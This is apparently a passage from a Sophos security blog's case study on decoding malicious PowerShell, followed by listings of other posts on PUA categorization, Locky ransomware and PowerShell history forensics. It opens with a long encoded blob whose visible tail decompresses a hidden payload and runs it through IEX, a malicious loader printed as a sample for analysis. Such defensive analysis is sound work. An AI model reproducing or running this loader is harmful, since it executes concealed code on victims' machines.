ABuAEEAbgBzAFQAbQBXAEoAVgA2AGUASQAxAFoAcQBMAHgAUgBtAEYAaQByADkAVQA1AGUAdgBrAC8AWABhAGwALwBaAGEANQBMAFcAUwBQAGgAdgA0AHMAagArAGIANwBlAHkAdABQAGYAYgAyAGsASABnADQARwBUAHoATwBEAHIASwA4ADYASgBLAGwAdQBlAGgAdQBCADAAKwBDAEsAZwA3AFgAUQBhAHQAegBXAE0AbQA0AFYAMgBIAG8AcgBiADcAcgBIAHAALwBkADkASQBqAEcAegBsAE8AMABhADIAKwBSAEkAZABhAEcAKwAwAEUAOABxADcAdAA2AHgAVwBHADIAeQB0AEsAYQBWADgAWQBLAHIANgBkAHkAZQByAFEAVwBkAGIARgBqADkAcABkAEQAcQBiAC8AcgBIAEMAYgBNAFkATQBOAEgALwBuAFQAagB1AHkAZAA5AHUAdABuADUAZgBXADAAZABJAG8ANQBPAFAARwAvAGsASwByAE8AdwBWAHgAbgBqAFYAUwBCAEwAYwB6AEoAegA5AG4AaAB5AGUAbABEAFcAagBqAEoAZAByAEMAdQAxAGoAYQBpADIAUgBpAEcAeQBWAGwATwB6AGYAdwBwAFkATABuAEUATgBsAHIARAAxADUASQBpAE0AcAAyAEIATABGAHMASgBPAGIAWQA4AFcAMQBoAEoAeQBjAGUALwBzAEkASQA5AFAAawBOAE0AaQBQAEQAdQBoAE0AUgBGAFIAMAB6AHcAYwBJAGMAZQBpAEEAYwA1AHEAWgBTAGMAawBmAG0AbwBNAFEAOQBaAGsAbwAxADAASAA5AGcAWQAvAEYAeQBWADkARQBSAHoATQBVADkAMgBQAEkAZQB5AGEAdABSAGYAaQBIAHQAUwA0ADMAawBjAFYAUgBnAHoASQBFACsAUwBkAHMATwB4AGIAOQBLAFIALwBvAEgAWABXAGcAcABqAFoAZQBkADEAWgBXAGYAZgBhADQAQgBEAG0AawBXAE4AMgB4AC8AKwBMAGcAdgA4ADcAaAAxAEQAdgAvAFEAbQA2AEUAagBTADgANwBMAHgAUwBLAFcAZAB6AHcAdgB1AGIAbAA5AHYAagA2ADMAVwB1AGUAOQAvAGYANgBVAGUAUQAxAG4AagBNAGUAbAAzACsASgB0AEUAKwBkAEwAaABmAEQAVQB1AFMARgBrAFoAYgB6AFkASABPAEIAdwBQAFAAOQBiAHIAaQBjAE0AaABkAHgAaABZAEYAMgB4AGwASABxAGYAVAA1AHAATAAxAEgAbwBZAGMAYwBtAEUASgBoAFQAcgAwADIAKwBZADcAagBZAEMATQBiAHQASAA0AHgAOABjAEQAWQBkAHgANwBHAFgAdQBFAHkAbQA4AEcAeQBVAGYAOQAwAFYAYQBiAGUAQwBXAEcANgBPAHYAdQBrAHgANQB0AE4AUABvAHgAYwBQAEwAegBPAFoARgBmAEMATAAxAC8AVwA0AEYANwAxAEEANABnAGkAOABpAHkAeQByAFYATAAwAHMAVQBIAFQAZABQAGIAZgBwAE0AdQBGADMANABlAGwAaAAvADIAMAA5AEMANgB1AG0AZwAxAGoASAB5AHoANQBxAE0AbgBKAE4AWgBVAHYANgBJAGUAeAA1ADYATAAvAFkAdwBCACsAVQBQAHIAZgBvAGMAMwBBAHkAKwBlADUAZAArAGgAeQBnAHoANwBIAHEAMQB3AG8ALwBsAEUAbwBDAEIAdgBxAHcAMwBsAGsAbgArAEIAcgBCAFEAWABVAGMANQA1ADcARQBkAEYAQwBjAHIAZgBEAE8AbgB6AGEANQBIAGQAMQA2AFYAWQByAFUAdwBLADcAcABHADQAMQA2AGoAdAAxAEIAKwA1ADEAbwBrAFkAZAB2AG0AOQBDAEsAOAA0AHUAYgB1AHIAOAB1AGYAYQBOAE8AbQBqADIAbQBmAEUAYgBOAFUARQBHAGcAbgBIADcAYgBvAEIAMQB5AEYASQBFADgAMQBjAG0ATwBoAGUAUwBFAGMAUABaADMANABXAEQAVwBDAGoALwBEAFEAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

Here's a short video demonstration of the actions we can take on a sample encoded string -

www.youtube.com/watch

Anyway, I hope you enjoyed reading this as much as I did while putting this blog together. For any questions, feedback or corrections please feel to leave a comment below!

Requests to re-categorize by third parties for PUA/Adware detections (possible Deceptor component)

2019-10-23T07:50:00Z

Hi Everyone,

The below article provides details about how we categorize PUA/Adware detections and how to provide us with the information we need to determine if a re-categorization is required.

Watch Locky Ransomware in action and learn how Sophos stops it

2017-01-23T06:20:00Z

Hi everyone,

We have just published a new video taking a look at how ransomware works. You can find it here: https://www.youtube.com/watch?v=ajTcYRIwoqU

In this video we are going to show you what happens when Locky Ransomware attacks a computer. You will see what a typical user would see if they were the victim of such an attack. We will then show you several scenarios demonstrating how Sophos protects the computers and networks of our customers using multiple techniques.

All products featured in this video are using their default settings and no new protection was created to block the malware shown.

Products featured: Sophos Endpoint managed by Sophos Central Console, with Sophos Intercept X.
Sophos XG Firewall including Heartbeat and Sophos Sandstorm.

For more information on Ransomware and how Sophos stops it please visit: www.sophos.com/ransomware

Blog

Information regarding HAFNIUM

Scheduled maintenance for SophosLabs Intelix (US region) - January, 16th 2021 @ 0900 UTC

Scheduled Maintenance for Intelix

PowerShell Command History Forensics

Contents:

Overview

PowerShell and Windows Events

Get-History

Console History File

Adversarial Tactics

Clear-History

Backup/Restore History

Delete History File

Change PSReadline Configuration

Investigation Tips

Malicious DNS Queries by APT - A Case Study

Decoding Malicious PowerShell Activity - A Case Study

Layer 1 – Episode 1

Layer 2 – Attack of Compression

Layer 3 - The Last Beacon

Requests to re-categorize by third parties for PUA/Adware detections (possible Deceptor component)

Watch Locky Ransomware in action and learn how Sophos stops it